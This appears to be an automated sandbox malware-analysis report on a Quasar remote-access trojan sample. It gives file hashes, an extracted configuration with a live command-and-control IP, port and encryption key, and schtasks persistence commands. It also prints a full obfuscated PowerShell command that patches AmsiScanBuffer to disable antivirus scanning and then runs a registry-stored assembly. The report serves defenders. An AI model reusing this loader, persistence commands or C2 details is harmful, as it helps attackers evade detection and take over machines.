Analysis
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max time kernel
33s -
max time network
32s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
23/04/2024, 20:29
Behavioral task
behavioral1
Sample
real.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
real.exe
Resource
win10v2004-20240226-en
Errors
General
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Target
real.exe
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Size
409KB
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MD5
16be7896ffd96f3c15ca40ff3243674f
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SHA1
321e82e120535d5f48430284804d5aca5f78d8c7
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SHA256
e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07
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SHA512
6dda93f0e4e47caf40bf15372fd8edee36b8a66d4d6ee3a6e1400c9297cbaa32584c6f8c97e2e76c4e3cd8b195d8e9cbb898870559e7a7177db97eb8c0a521ad
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SSDEEP
12288:8Bwz9Fx/nIlyLcnRKIZduz8IWQygCLZG9:8+J0sLYpuz8bQygB
Malware Config
Extracted
quasar
3.1.5
RSlaves
147.185.221.19:33587
$Sxr-hphEGEvqSUG7C0u46T
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encryption_key
6jSzwDnfbfYdZp3ml07G
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install_name
WDefenderUpdater.exe
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log_directory
UpdLog
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reconnect_delay
3000
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startup_key
WindowsBIOSupd
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subdirectory
Microsoft
Signatures
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Quasar payload 2 IoCs
resource yara_rule behavioral3/memory/1600-0-0x0000000000950000-0x00000000009BC000-memory.dmp family_quasar behavioral3/files/0x000200000002aa00-11.dat family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4460 created 644 4460 powershell.EXE 5 -
Executes dropped EXE 2 IoCs
pid Process 4760 WDefenderUpdater.exe 872 Install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 raw.githubusercontent.com 4 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4460 set thread context of 1480 4460 powershell.EXE 91 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1516 schtasks.exe 3396 SCHTASKS.exe 1940 schtasks.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4460 powershell.EXE 4460 powershell.EXE 4460 powershell.EXE 1480 dllhost.exe 1480 dllhost.exe 1480 dllhost.exe 1480 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1600 real.exe Token: SeDebugPrivilege 4760 WDefenderUpdater.exe Token: SeDebugPrivilege 4460 powershell.EXE Token: SeDebugPrivilege 4460 powershell.EXE Token: SeDebugPrivilege 1480 dllhost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4760 WDefenderUpdater.exe -
Suspicious use of WriteProcessMemory 51 IoCs
description pid Process procid_target PID 1600 wrote to memory of 1516 1600 real.exe 81 PID 1600 wrote to memory of 1516 1600 real.exe 81 PID 1600 wrote to memory of 1516 1600 real.exe 81 PID 1600 wrote to memory of 4760 1600 real.exe 83 PID 1600 wrote to memory of 4760 1600 real.exe 83 PID 1600 wrote to memory of 4760 1600 real.exe 83 PID 1600 wrote to memory of 872 1600 real.exe 84 PID 1600 wrote to memory of 872 1600 real.exe 84 PID 1600 wrote to memory of 872 1600 real.exe 84 PID 1600 wrote to memory of 3396 1600 real.exe 85 PID 1600 wrote to memory of 3396 1600 real.exe 85 PID 1600 wrote to memory of 3396 1600 real.exe 85 PID 4760 wrote to memory of 1940 4760 WDefenderUpdater.exe 89 PID 4760 wrote to memory of 1940 4760 WDefenderUpdater.exe 89 PID 4760 wrote to memory of 1940 4760 WDefenderUpdater.exe 89 PID 4460 wrote to memory of 1480 4460 powershell.EXE 91 PID 4460 wrote to memory of 1480 4460 powershell.EXE 91 PID 4460 wrote to memory of 1480 4460 powershell.EXE 91 PID 4460 wrote to memory of 1480 4460 powershell.EXE 91 PID 4460 wrote to memory of 1480 4460 powershell.EXE 91 PID 4460 wrote to memory of 1480 4460 powershell.EXE 91 PID 4460 wrote to memory of 1480 4460 powershell.EXE 91 PID 4460 wrote to memory of 1480 4460 powershell.EXE 91 PID 1480 wrote to memory of 644 1480 dllhost.exe 5 PID 1480 wrote to memory of 704 1480 dllhost.exe 7 PID 704 wrote to memory of 2764 704 lsass.exe 47 PID 704 wrote to memory of 2764 704 lsass.exe 47 PID 1480 wrote to memory of 988 1480 dllhost.exe 12 PID 704 wrote to memory of 2764 704 lsass.exe 47 PID 1480 wrote to memory of 540 1480 dllhost.exe 13 PID 704 wrote to memory of 2764 704 lsass.exe 47 PID 1480 wrote to memory of 436 1480 dllhost.exe 14 PID 704 wrote to memory of 2764 704 lsass.exe 47 PID 1480 wrote to memory of 716 1480 dllhost.exe 15 PID 704 wrote to memory of 2764 704 lsass.exe 47 PID 1480 wrote to memory of 1056 1480 dllhost.exe 16 PID 1480 wrote to memory of 1152 1480 dllhost.exe 18 PID 1480 wrote to memory of 1204 1480 dllhost.exe 19 PID 1480 wrote to memory of 1268 1480 dllhost.exe 20 PID 1480 wrote to memory of 1280 1480 dllhost.exe 21 PID 1480 wrote to memory of 1320 1480 dllhost.exe 22 PID 1480 wrote to memory of 1368 1480 dllhost.exe 23 PID 1480 wrote to memory of 1412 1480 dllhost.exe 24 PID 1480 wrote to memory of 1576 1480 dllhost.exe 25 PID 1480 wrote to memory of 1644 1480 dllhost.exe 26 PID 1480 wrote to memory of 1728 1480 dllhost.exe 27 PID 1480 wrote to memory of 1756 1480 dllhost.exe 28 PID 1480 wrote to memory of 1764 1480 dllhost.exe 29 PID 1480 wrote to memory of 1860 1480 dllhost.exe 30 PID 1480 wrote to memory of 1916 1480 dllhost.exe 31 PID 1480 wrote to memory of 2032 1480 dllhost.exe 32
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:644
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:540
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2388f25c-c07e-47ca-80f2-1f3811eef9c4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1480
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:988
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:436
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1152
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:axGKCNMPaBhZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NPFtpmMJMsMdLb,[Parameter(Position=1)][Type]$GcJEgpYNTV)$HPAsgckjlRb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+'f'+'l'+'e'+''+'c'+'t'+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+[Char](101)+''+[Char](109)+''+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+'p'+'e',''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+''+'P'+''+[Char](117)+'bl'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$HPAsgckjlRb.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+','+'P'+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NPFtpmMJMsMdLb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+'M'+[Char](97)+'nag'+[Char](101)+''+[Char](100)+'');$HPAsgckjlRb.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+'k'+'e','P'+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+','+[Char](72)+'id'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$GcJEgpYNTV,$NPFtpmMJMsMdLb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+'e'+','+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $HPAsgckjlRb.CreateType();}$chLtRFluCdTUV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Syst'+'e'+''+[Char](109)+'.'+[Char](100)+''+'l'+'l')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+'2'+'.'+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+'N'+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+'M'+[Char](101)+'t'+[Char](104)+''+'o'+'d'+[Char](115)+'');$vKUOXRTRoPkPYI=$chLtRFluCdTUV.GetMethod('G'+'e'+'t'+'P'+''+[Char](114)+''+'o'+''+'c'+''+'A'+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+'a'+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xwobHdPsGmdDOzQqwYq=axGKCNMPaBhZ @([String])([IntPtr]);$VPMrLxKDCoFxxLjlxoMVbe=axGKCNMPaBhZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NKYfqowVTJx=$chLtRFluCdTUV.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'M'+''+'o'+''+'d'+'u'+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$sBPaGrONJAkZDl=$vKUOXRTRoPkPYI.Invoke($Null,@([Object]$NKYfqowVTJx,[Object](''+[Char](76)+'o'+'a'+'d'+'L'+''+[Char](105)+'b'+[Char](114)+'ar'+[Char](121)+'A')));$XoJTZjqXPUIuJqwFh=$vKUOXRTRoPkPYI.Invoke($Null,@([Object]$NKYfqowVTJx,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+'a'+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$MpGDJmK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sBPaGrONJAkZDl,$xwobHdPsGmdDOzQqwYq).Invoke('a'+[Char](109)+'si'+[Char](46)+''+[Char](100)+''+'l'+'l');$mLbIYqrrBduUdkizJ=$vKUOXRTRoPkPYI.Invoke($Null,@([Object]$MpGDJmK,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+'c'+''+'a'+''+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+'f'+''+[Char](101)+'r')));$uMigAuRxgH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XoJTZjqXPUIuJqwFh,$VPMrLxKDCoFxxLjlxoMVbe).Invoke($mLbIYqrrBduUdkizJ,[uint32]8,4,[ref]$uMigAuRxgH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$mLbIYqrrBduUdkizJ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XoJTZjqXPUIuJqwFh,$VPMrLxKDCoFxxLjlxoMVbe).Invoke($mLbIYqrrBduUdkizJ,[uint32]8,0x20,[ref]$uMigAuRxgH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+'7'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1280
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1412
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4128
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3844
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3756
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:1236
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3512
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1860
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1916
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2032
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2764
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C:\Users\Admin\AppData\Local\Temp\real.exe"C:\Users\Admin\AppData\Local\Temp\real.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "WindowsBIOSupd" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\real.exe" /rl HIGHEST /f2⤵
- Creates scheduled task(s)
PID:1516
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C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe"C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "WindowsBIOSupd" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:1940
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C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- Executes dropped EXE
PID:872
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77real.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\real.exe'" /sc onlogon /rl HIGHEST2⤵
- Creates scheduled task(s)
PID:3396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3916
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3252
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
409KB
MD516be7896ffd96f3c15ca40ff3243674f
SHA1321e82e120535d5f48430284804d5aca5f78d8c7
SHA256e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07
SHA5126dda93f0e4e47caf40bf15372fd8edee36b8a66d4d6ee3a6e1400c9297cbaa32584c6f8c97e2e76c4e3cd8b195d8e9cbb898870559e7a7177db97eb8c0a521ad
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82